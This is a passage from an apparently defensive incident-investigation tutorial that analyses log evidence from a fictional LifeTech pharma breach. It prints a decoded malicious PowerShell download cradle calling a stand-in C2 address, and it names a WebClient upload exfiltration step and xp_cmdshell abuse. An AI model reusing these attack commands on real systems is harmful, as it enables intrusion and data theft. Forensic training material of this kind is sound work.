 service is a known evasion method.</pre><p>The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.</p><h4>3. Create a GAP document for every gap</h4><p>Each gap gets its own file. Create it now:</p><pre>nano 01-evidence/GAP-001-ws-it-levi-sysmon.md</pre><p>Paste the filled template:</p><pre># GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01<br>Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)<br>Root cause: Sysmon forwarder stopped. Coincides exactly with delivery<br>  of phishing email to p.levi at 11:23 UTC.<br>What is missing: EID 1 (process creation), EID 3 (network connections),<br>  EID 11 (file creation) for WS-IT-LEVI during this entire window.<br>Impact: Cannot confirm or rule out attacker activity during this period.<br>  All claims covering Oct 22–Nov 1 on this host are INFERRED or<br>  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or<br>  firewall flows.<br>Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair<br>  Defenses). A gap coinciding with a malicious delivery is itself a<br>  finding, not merely an absence.</pre><h4>4. Commit the evidence inventory</h4><pre>git add 01-evidence/ 02-sources/source-registry.md<br>git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"</pre><h3>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</h3><p>The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.</p><h4>Setup — Open the Evidence Folder</h4><pre># One command opens the entire evidence directory as a workspace<br>code ~/investigations/lifetech-2024-11/01-evidence/</pre><p>VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.</p><p><strong>Install four extensions before starting</strong> (Ctrl+Shift+X, search by ID):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LyER2G4y2xTAF1kXY4MX6A.png"></figure><p>Or install all at once from the integrated terminal (Ctrl+`` ):</p><pre>code --install-extension mechatroner.rainbow-csv<br>code --install-extension humao.rest-client<br>code --install-extension ms-vscode.hexeditor<br>code --install-extension esbenp.prettier-vscode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Pp_6YW13coi4GWZcb2a8Wg.png"></figure><p><strong>Key VS Code shortcuts used throughout this step:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i3dAl46V_xX0cqntP0rCw.png"></figure><p><strong>Download the training evidence:</strong></p><pre>git clone https://github.com/anpa1200/CTI_as_a_Code.git<br>code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/</pre><p>Direct links to open any file in GitHub (also downloadable via curl -L):</p><ul><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-p.levi.csv">m365/message-trace-p.levi.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> IT admin phishing delivery, Oct 15–24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-m.cohen.csv">m365/message-trace-m.cohen.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> CFO phishing delivery, Nov 13–15</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/azure-ad/signin-p.levi.json">azure-ad/signin-p.levi.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> IT admin Azure AD sign-ins — Istanbul token replay</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/vpn/anyconnect-2024-10-24.log">vpn/anyconnect-2024-10-24.log</a><br><strong>Format:</strong> ASA syslog<br><strong>Contains:</strong> VPN session from Istanbul, Oct 24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sysmon/WS-CFO-01-sysmon.jsonl">sysmon/WS-CFO-01-sysmon.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> CFO workstation — PowerShell, LSASS, persistence, BITS</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/crowdstrike/WS-CFO-01-alert-20241115.json">crowdstrike/WS-CFO-01-alert-20241115.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> CrowdStrike Falcon alert — triggering detection</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/DC01-security.jsonl">windows-security/DC01-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> DC01 security events — DCSync EID 4662</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/SERVER-RD-02-security.jsonl">windows-security/SERVER-RD-02-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> R&amp;D server — EID 4663 file access, EID 5156 exfil</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/ngfw-flows.csv">palo-alto/ngfw-flows.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> Perimeter firewall flows — 381 MB exfil confirmed</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/dns-queries.csv">palo-alto/dns-queries.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> DNS telemetry — C2 beacon pattern</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sql-audit/SERVER-RD-02-sql-audit.jsonl">sql-audit/SERVER-RD-02-sql-audit.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> SQL Server audit — full xp_cmdshell exfil chain</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/GAP-001-ws-it-levi-sysmon.md">GAP-001-ws-it-levi-sysmon.md</a><br><strong>Format:</strong> Markdown<br><strong>Contains:</strong> Documented 10-day Sysmon gap on IT admin host</li></ul><h4>1. CrowdStrike Alert — JSON in VS Code</h4><p><strong>In VS Code Explorer:</strong> click crowdstrike/WS-CFO-01-alert-20241115.json</p><p>Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.</p><p><strong>Open the Outline panel</strong> (Ctrl+Shift+O):</p><pre>▶ meta<br>▼ resources<br>  ▼ [0]<br>    ▶ device        — hostname, OS, groups<br>    ▼ behaviors<br>      [0] Execution / T1059.001  — OUTLOOK.EXE → powershell.exe<br>      [1] Command and Control / T1071.001<br>      [2] Persistence / T1547.001<br>      [3] Credential Access / T1003.001<br>    ▶ network_accesses<br>    ▶ prevention_policy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHUHyPz18JBNmPFRWS5VHA.png"></figure><p>Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. <strong>Take the memory dump before anything else.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bsA6unjBprE5asg-jKFbug.png"></figure><p><strong>Search</strong> (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.</p><p><strong>Or use jq tool:</strong></p><p><strong>Extract key fields in the integrated terminal</strong> (Ctrl+`` ):</p><pre>jq '.resources[0] | {<br>  detection_id,<br>  severity:  .max_severity_displayname,<br>  host:      .device.hostname,<br>  prevented: .prevention_policy.prevent,<br>  timestamp: .created_timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><p>Output:</p><pre>{<br>  "detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",<br>  "severity":     "Critical",<br>  "host":         "WS-CFO-01",<br>  "prevented":    false,<br>  "timestamp":    "2024-11-15T16:42:47.882Z"<br>}</pre><pre># List all detected behaviors<br>jq '.resources[0].behaviors[] | {<br>  timestamp, tactic, technique_id, display_name,<br>  parent: .parent_image_filename,<br>  image:  .filename,<br>  cmdline: (.cmdline // "" | .[0:80])<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Network connections observed<br>jq '.resources[0].network_accesses[] | {<br>  remote_address, remote_port, direction, timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Prevention policy — confirm detect-only mode and note the policy gap<br>jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \<br>  crowdstrike/WS-CFO-01-alert-20241115.json</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Host</strong> WS-CFO-01 — Victim workstation; CrowdStrike detect-only, C2 active</li><li><strong>Hash (SHA256)</strong> de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 — powershell.exe behavior hash from alert</li><li><strong>Hash (MD5)</strong> 7353f60b1739074eb17c5f4dddefe239 — Same behavior; use both for VT lookup</li><li><strong>Process</strong> OUTLOOK.EXE → powershell.exe — Parent–child execution chain in behaviors[0]</li><li><strong>Cmdline</strong> -NonI -W Hidden -Enc JABjAD0A… — Encoded PowerShell payload; decode in Step 2</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 3 connections in network_accesses, port 443</li></ul><h4>2. Decode the PowerShell Payload</h4><p>In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.</p><p><strong>Decode in the integrated terminal</strong> — do not paste encoded malware into online decoders:</p><pre># PowerShell -Enc uses UTF-16LE encoding<br>echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \<br>  | base64 -d</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtvadCAbVwcFaB8UcvEPCQ.png"></figure><pre>$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')</pre><p><strong>In VS Code Explorer:</strong> click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.</p><pre># Cross-check: confirm what the PowerShell dropped<br>jq 'select(.EventID == 11) | {<br>  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note<br>}' sysmon/WS-CFO-01-sysmon.jsonl</pre><p><strong>Or use Base64 extention:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NX8NZYV10DhI03Lgy9E07A.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRToibL_ojf36voYhSco2A.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2 server; payload download source</li><li><strong>URL</strong> https://203.0.113.87/update — C2 payload URL decoded from base64 PowerShell</li><li><strong>File</strong> svchost32.exe — Dropper deposited to %AppData%\Roaming\; forged PE timestamp</li></ul><h4>3. M365 Message Trace — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click m365/message-trace-p.levi.csv</p><p>With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.</p><p><strong>RBQL — SQL queries against the CSV, no Python needed:</strong></p><p>Press F5 (or click RBQL in the status bar) to open the query console:</p><pre>-- Find all emails where authentication failed<br>SELECT a.* WHERE a16 == "fail" ORDER By a1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IF23O_x92zR5XPNGe7gP2A.png"></figure><p>Result pane (right side):</p><pre>2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com<br>  | ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security<br>  | Delivered | 4 | fail | fail | fail</pre><p>Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.</p><pre>SELECT a.* WHERE a17 == '1' &amp;&amp; a16 == 'fail'</pre><p><strong>Save RBQL results:</strong> click <strong>Save to CSV</strong> in the result panel → save as 03-analysis/m365-suspects.csv.</p><p><strong>Switch to </strong><strong>m365/message-trace-m.cohen.csv</strong> (click in Explorer):</p><pre>-- CFO mailbox — find the malicious delivery<br>SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment<br>FROM a<br>WHERE a.DMARC == 'fail' OR a.has_attachment == '1'<br>ORDER BY a.received_time</pre><p>Key finding — CFO phishing email:</p><pre>2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net<br>  | Q4-2024 Licensing Agreement Review — Action Required (URGENT)<br>  | SCL=4 | DMARC=fail | has_attachment=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6mJFnpdRJE2EvoF-IxUFw.png"></figure><p>The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing sender domain; DMARC/DKIM/SPF all fail</li><li><strong>Email</strong> security-noreply@mfa-lifetechpharma.com — IT admin phishing sender (Oct 22)</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Email</strong> contracts@globalcontracts-secure.net — CFO phishing sender (Nov 15)</li><li><strong>Attachment</strong> .xlsm — Macro-enabled Excel; bypassed ATP sandbox (INT-007)</li></ul><h4>4. Azure AD Sign-In Analysis</h4><p><strong>In VS Code Explorer:</strong> click azure-ad/signin-p.levi.json</p><p>Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.</p><p><strong>Search</strong> Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:</p><pre>"city": "Istanbul",<br>"countryOrRegion": "TR",<br>"conditionalAccessStatus": "notApplied",<br>"succeeded": null</pre><p>Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.</p><p><strong>Full structured extraction in the terminal:</strong></p><pre>jq '.[] | {<br>  id,<br>  time: .properties.createdDateTime,<br>  ip:   .properties.ipAddress,<br>  loc:  "\(.properties.location.city), \(.properties.location.countryOrRegion)",<br>  mfa:  .properties.authenticationDetails[0].succeeded,<br>  ca:   .properties.conditionalAccessStatus,<br>  os:   .properties.deviceDetail.operatingSystem<br>}' azure-ad/signin-p.levi.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkLVEejy4bkZ71px3sihoQ.png"></figure><p><strong>Red flags on </strong><strong>aad-signin-002:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Isdphk9PrvplMM2sWbc8Vg.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker source IP; Istanbul, Turkey (Tor exit node)</li><li><strong>Account</strong> p.levi — Compromised IT admin; token replay, no MFA challenge</li><li><strong>Indicator</strong> Token replay — CA policy bypassed; conditionalAccessStatus: notApplied</li></ul><h4>5. VPN Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click vpn/anyconnect-2024-10-24.log</p><p>VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:</p><ul><li>Search p.levi — highlights every line for this user</li><li>Search Authentication: successful — the auth event</li><li>Search Assigned address — the internal IP assigned to the session</li><li>Search Duration — total session length</li></ul><pre># Full session chain in the terminal:<br>grep "p.levi" vpn/anyconnect-2024-10-24.log \<br>  | grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsNecLZvZT8bDwFYWsb-nQ.png"></figure><pre>Oct 24 00:17:14 ... User &lt;p.levi&gt; IP &lt;185.220.101.47&gt; Authentication: successful<br>Oct 24 00:17:33 ... User &lt;p.levi&gt; ... Assigned address: 10.10.3.22<br>Oct 24 02:29:08 ... User &lt;p.levi&gt; ... Duration: 1h12m34s</pre><p>185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.</p><pre>grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log<br># → NOTE: No MFA challenge issued — session token authentication bypass<br>grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8<br># → ~7-minute C2 beacons during the VPN session window</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source; Istanbul; authenticated as p.levi</li><li><strong>Account</strong> p.levi — Session token auth; no MFA challenge issued</li><li><strong>IP (internal)</strong> 10.10.3.22 — Assigned to attacker session; masks as WS-IT-LEVI</li><li><strong>IP</strong> 203.0.113.87 — C2 beacons during VPN session (~7-min interval)</li></ul><h4>6. NGFW Log Analysis — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv</p><p>Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz7EggRReYdjyRyz79n79A.png"></figure><p>RBQLHeader<br>a1receive_time<br>a22dport<br>a5src<br>a28bytes<br>a6dst<br>a29bytes_sent<br>a9rule<br>a30bytes_received<br>a10srcuser<br>a33elapsed<br>a12app<br>a34category<br>a27action<br>a41session_end_reason</p><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL console.</p><p><strong>Query 1 — find anomalies: all flows sorted by bytes_sent descending</strong></p><p>Start here every time. The outlier appears immediately.</p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a30) / 1024) + ' KB' AS rcvd_KB,<br>       a33 + 's', a10<br>ORDER BY parseInt(a29) DESC</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pszv_-CeRnD-lNlUmL8VBQ.png"></figure><pre>2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |<br>2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen<br>2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi<br>...</pre><p>The first row is 17,000× larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.</p><p>Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) — two separate infections.</p><p><strong>Query 2 — exfil upload ratio: flag flows where sent &gt; 90% of total bytes</strong></p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + '%' AS upload_pct,<br>       a33 + 's'<br>WHERE parseInt(a28) &gt; 100000<br>ORDER BY parseInt(a29) DESC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkpGfIAnhSx0k-VE5CATzg.png"></figure><p>Result: only one row — 10.10.2.15 → 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55–65% upload) which is beacon traffic, not exfil.</p><p><strong>Query 3 — beacon pattern: repeated small flows to same external IP</strong></p><pre>SELECT a6, COUNT(a6) AS sessions,<br>       AVG(parseInt(a28)) AS avg_bytes,<br>       AVG(parseInt(a33)) AS avg_elapsed_s<br>WHERE a6 &amp;&amp; !a6.startsWith('10.') &amp;&amp; !a6.startsWith('192.168.')<br>   &amp;&amp; !isNaN(parseInt(a28))<br>GROUP BY a6Result:</pre><pre>203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg<br>198.51.100.44  | 1 session  | 399 MB avg | 312s avg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*264pKTvyyeuGVoAIwQVvSw.png"></figure><p>203.0.113.87 has 9 short uniform sessions — beacon. 198.51.100.44 has one giant session — exfil.</p><p><strong>Query 4 — internal lateral movement: flows that stay inside RFC-1918</strong></p><pre>SELECT a1, a5, a6, a22, a28, a9, a10<br>WHERE a5 &amp;&amp; a6<br>   &amp;&amp; (a5.startsWith('10.') || a5.startsWith('192.168.'))<br>   &amp;&amp; (a6.startsWith('10.') || a6.startsWith('192.168.'))<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epr64_sA5gqNzWxgEi-LpQ.png"></figure><pre>2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow<br>2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-Allow</pre><p>CFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature — 3 hours after the CFO was compromised.</p><p><strong>Query 5 — beacon timing: isolate C2 host and sort by time to measure intervals</strong></p><pre>SELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + 's'<br>WHERE a6 == '203.0.113.87'<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8M-EcFKrYAOXIzIOfoNlw.png"></figure><pre>2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   ← WS-IT-LEVI session 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   ← gap: 432s<br>2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   ← gap: 450s<br>                     ↓ 4.7-day silence (C2 dormant) ↓<br>2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   ← WS-IT-LEVI session 2<br>2024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   ← gap: 437s<br>2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   ← gap: 452s<br>2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   ← WS-CFO-01 session 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   ← gap: 401s<br>2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   ← gap: 421s</pre><p>Beacon interval: <strong>432–452 seconds (~7.2 minutes)</strong>. Consistent across both infected hosts — same implant, same configuration. The 4.7-day gap (Nov 1–6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.</p><p><strong>Click </strong><strong>palo-alto/dns-queries.csv</strong> in Explorer.</p><p><strong>Column map:</strong></p><p>RBQLHeader<br>a1receive_time<br>a2src<br>a4query<br>a6response<br>a8category<br>a10analyst_note</p><p><strong>Query 6 — all malware-category queries, sorted by time</strong></p><pre>SELECT a1, a2, a4, a6, a8<br>FROM a<br>WHERE a8 == 'malware'<br>ORDER BY a1</pre><p>Result — full malware DNS timeline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RErM3MswME78yNNi0pB92A.png"></figure><pre>2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← AiTM phishing page loaded<br>2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← token stolen<br>2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← C2 beacon 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← (missing from log)<br>2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware ← exfil domain lookup<br>2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware ← CFO phishing domain<br>2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← CFO C2 beacon 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware</pre><p><strong>Query 7 — per-host beacon count: how many hosts are infected?</strong></p><pre>SELECT a2, COUNT(a2) AS queries<br>WHERE a4 == 'telemetry-cdn-services.biz'<br>GROUP BY a2</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v94DK5JOd0MBwJUOjqBpAg.png"></figure><pre>10.10.3.22 | 6   ← WS-IT-LEVI (IT admin) — infected Nov 1<br>10.10.1.45 | 3   ← WS-CFO-01 (CFO) — infected Nov 15</pre><p>Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days later.</p><p><strong>Query 8 — new IP: attacker recon before VPN login</strong></p><pre>SELECT a1, a2, a4, a6, a8, a10<br>WHERE a2 &amp;&amp; !a2.startsWith('10.') &amp;&amp; !a2.startsWith('192.168.')<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lj9D7dZos_et_O16rjcfOg.png"></figure><pre>2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economy</pre><p>The attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.</p><p><strong>Cross-reference with flows</strong> (Ctrl+Shift+F → 198.51.100.44):</p><pre>ngfw-flows.csv   line 11: 10.10.2.15 → 198.51.100.44 | 399 MB | 312s<br>dns-queries.csv  line 14: 10.10.2.15 → sys-update-cdn.net → 198.51.100.44</pre><p>DNS lookup at 00:10:14Z, flow starts at 00:14:14Z — 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload command.</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Exfil destination; 381 MB upload, 99% upload ratio, 312s, single session</li><li><strong>IP (internal)</strong> 10.10.2.15 — SERVER-RD-02; exfil source host</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 9 beacon sessions from 2 hosts, ~7.2-min interval</li><li><strong>IP</strong> 185.220.101.52 — New; CFO phishing page host (globalcontracts-secure.net)</li><li><strong>IP (internal)</strong> 10.10.2.20 — Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — C2 domain; queried by both 10.10.3.22 and 10.10.1.45</li><li><strong>Domain</strong> sys-update-cdn.net — Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; resolves to 185.220.101.47</li><li><strong>Indicator</strong> Beacon interval 432–452s (~7.2 min) — identical across both infected hosts; same implant config</li><li><strong>Indicator</strong> Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log Analysis</li></ul><h4><strong>7. SQL Audit Log Analysis</strong></h4><p><strong>In VS Code Explorer:</strong> click sql-audit/SERVER-RD-02-sql-audit.jsonl</p><p>Each line is a JSON object. Use Ctrl+F to navigate directly to key events:</p><p>Search termJumps to</p><p>xp_cmdshellShell execution events<br>AuditLogAdversary OPSEC recon <br>(SELECT) and anti-forensics (DELETE)<br>UploadFileThe exfiltration command<br>Compress-ArchiveThe staging command</p><p><strong>Full chain in the terminal:</strong></p><pre>jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \<br>  sql-audit/SERVER-RD-02-sql-audit.jsonl</pre><p>Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — Lateral movement account; executed full xp_cmdshell chain</li><li><strong>URL</strong> 198.51.100.44/recv — Exfil endpoint used by WebClient.UploadFile</li><li><strong>File</strong> USPartner2024-formulas.zip — Staged archive; formula data compressed before exfil</li><li><strong>Indicator</strong> xp_cmdshell (T1059.003) — SQL Server shell used as execution 